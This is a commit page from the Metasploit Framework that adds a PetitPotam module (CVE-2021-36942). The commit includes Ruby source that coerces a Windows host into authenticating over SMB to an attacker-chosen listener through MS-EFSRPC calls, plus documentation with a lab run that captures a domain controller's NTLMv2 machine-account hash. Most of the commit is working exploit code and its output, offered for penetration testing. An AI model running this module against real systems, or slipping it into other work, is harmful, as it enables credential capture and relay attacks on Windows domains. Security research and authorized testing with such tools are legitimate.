Skip to content

Commit 65949cf

Browse files
Land #16136, Add a port of PetitPotam to Metasploit
2 parents 7cbe70b + b05b7fc commit 65949cf

File tree

4 files changed

+190
-2
lines changed

4 files changed

+190
-2
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -436,7 +436,7 @@ GEM
436436
ruby-progressbar (1.11.0)
437437
ruby-rc4 (0.1.5)
438438
ruby2_keywords (0.0.5)
439-
ruby_smb (3.0.1)
439+
ruby_smb (3.0.2)
440440
bindata
441441
openssl-ccm
442442
openssl-cmac

LICENSE_GEMS

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -161,7 +161,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
161161
ruby-progressbar, 1.11.0, MIT
162162
ruby-rc4, 0.1.5, MIT
163163
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
164-
ruby_smb, 3.0.1, "New BSD"
164+
ruby_smb, 3.0.2, "New BSD"
165165
rubyntlm, 0.6.3, MIT
166166
rubyzip, 2.3.2, "Simplified BSD"
167167
sawyer, 0.8.2, MIT
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Vulnerable Application
2+
3+
Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.
4+
5+
## Verification Steps
6+
Example steps in this format (is also in the PR):
7+
8+
1. Install the application
9+
2. Start msfconsole
10+
3. Do: `use auxiliary/scanner/dcerpc/petitpotam`
11+
4. Set the `RHOSTS` and `LISTENER` options
12+
5. (Optional) Set the `SMBUser`, `SMBPass` for authentication
13+
6. (Optional) Set the `PIPE` and `METHOD` options to adjust the trigger vector
14+
7. Do: `run`
15+
16+
## Options
17+
18+
### LISTENER
19+
The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host
20+
should be hosting some kind of capture or relaying service.
21+
22+
### PIPE
23+
The named pipe to use for triggering.
24+
25+
### METHOD
26+
The RPC method to use for triggering. If 'Automatic' is selected, then all methods will be tried until one appears
27+
successful.
28+
29+
## Scenarios
30+
31+
### Windows Server 2019
32+
In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine
33+
account. The target is a 64-bit Windows Server 2019 domain controller.
34+
35+
```
36+
msf6 > use auxiliary/server/capture/smb
37+
msf6 auxiliary(server/capture/smb) > run
38+
[*] Auxiliary module running as background job 0.
39+
msf6 auxiliary(server/capture/smb) >
40+
[*] Server is running. Listening on 0.0.0.0:445
41+
42+
msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/petitpotam
43+
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.96
44+
RHOSTS => 192.168.159.96
45+
msf6 auxiliary(scanner/dcerpc/petitpotam) > set VERBOSE true
46+
VERBOSE => true
47+
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
48+
49+
[*] 192.168.159.96:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.96[\lsarpc] ...
50+
[*] 192.168.159.96:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.96[\lsarpc] ...
51+
[*] 192.168.159.96:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
52+
53+
[+] Received SMB connection on Auth Capture Server!
54+
[SMB] NTLMv2-SSP Client : 192.168.250.237
55+
[SMB] NTLMv2-SSP Username : MSFLAB\WIN-3MSP8K2LCGC$
56+
[SMB] NTLMv2-SSP Hash : WIN-3MSP8K2LCGC$::MSFLAB:cd561910093ed145:aeaef46507cc87aecebb99717d5e8753:01010000000000000022f245ce16d801be5bf7c8b735b582000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f0075007300070008000022f245ce16d80106000400020000000800300030000000000000000000000000400000f12b37e798747bd58bfa63fc5b99630354f0c31717d6ec25bfa2214b4352b8530a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000
57+
58+
[+] 192.168.159.96:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
59+
[*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete)
60+
[*] Auxiliary module execution completed
61+
msf6 auxiliary(scanner/dcerpc/petitpotam) >
62+
```
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'windows_error'
7+
require 'ruby_smb'
8+
require 'ruby_smb/error'
9+
10+
class MetasploitModule < Msf::Auxiliary
11+
include Msf::Exploit::Remote::DCERPC
12+
include Msf::Exploit::Remote::SMB::Client::Authenticated
13+
include Msf::Auxiliary::Scanner
14+
15+
EncryptingFileSystem = RubySMB::Dcerpc::EncryptingFileSystem
16+
17+
METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv].freeze
18+
PIPE_HANDLES = {
19+
lsarpc: {
20+
uuid: EncryptingFileSystem::LSARPC_UUID,
21+
opts: ['\\lsarpc'.freeze]
22+
},
23+
efsrpc: {
24+
uuid: EncryptingFileSystem::EFSRPC_UUID,
25+
opts: ['\\efsrpc'.freeze]
26+
},
27+
samr: {
28+
uuid: EncryptingFileSystem::LSARPC_UUID,
29+
opts: ['\\samr'.freeze]
30+
},
31+
lsass: {
32+
uuid: EncryptingFileSystem::LSARPC_UUID,
33+
opts: ['\\lsass'.freeze]
34+
},
35+
netlogon: {
36+
uuid: EncryptingFileSystem::LSARPC_UUID,
37+
opts: ['\\netlogon'.freeze]
38+
}
39+
}.freeze
40+
41+
def initialize
42+
super(
43+
'Name' => 'PetitPotam',
44+
'Description' => %q{
45+
Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.
46+
},
47+
'Author' => [
48+
'GILLES Lionel',
49+
'Spencer McIntyre'
50+
],
51+
'References' => [
52+
[ 'CVE', '2021-36942' ],
53+
[ 'URL', 'https://github.com/topotam/PetitPotam' ],
54+
[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ]
55+
],
56+
'License' => MSF_LICENSE
57+
)
58+
59+
register_options(
60+
[
61+
OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
62+
OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),
63+
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
64+
]
65+
)
66+
end
67+
68+
def run_host(_ip)
69+
connect
70+
smb_login
71+
72+
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
73+
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
74+
75+
handle = dcerpc_handle(
76+
handle_args[:uuid],
77+
handle_args.fetch(:version, '1.0'),
78+
handle_args.fetch(:protocol, 'ncacn_np'),
79+
handle_args[:opts]
80+
)
81+
vprint_status("Binding to #{handle} ...")
82+
dcerpc_bind(handle)
83+
vprint_status("Bound to #{handle} ...")
84+
85+
if datastore['METHOD'] == 'Automatic'
86+
methods = METHODS
87+
else
88+
methods = [datastore['METHOD']]
89+
end
90+
91+
methods.each do |method|
92+
vprint_status("Attempting to coerce authentication via #{method}")
93+
response = efs_call(
94+
method,
95+
file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
96+
)
97+
next if response.nil?
98+
99+
error_status = response.error_status.to_i
100+
win32_error = ::WindowsError::Win32.find_by_retval(error_status).first
101+
case win32_error
102+
when ::WindowsError::Win32::ERROR_BAD_NETPATH
103+
# this should be the response even if LISTENER was inaccessible
104+
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
105+
break
106+
when nil
107+
print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
108+
else
109+
print_status("Server responded with #{win32_error.name} (#{win32_error.description})")
110+
end
111+
end
112+
end
113+
114+
def efs_call(name, **kwargs)
115+
request = EncryptingFileSystem.const_get("#{name}Request").new(**kwargs)
116+
117+
begin
118+
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
119+
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
120+
print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."
121+
return nil
122+
end
123+
124+
EncryptingFileSystem.const_get("#{name}Response").read(raw_response)
125+
end
126+
end

0 commit comments

Comments
 (0)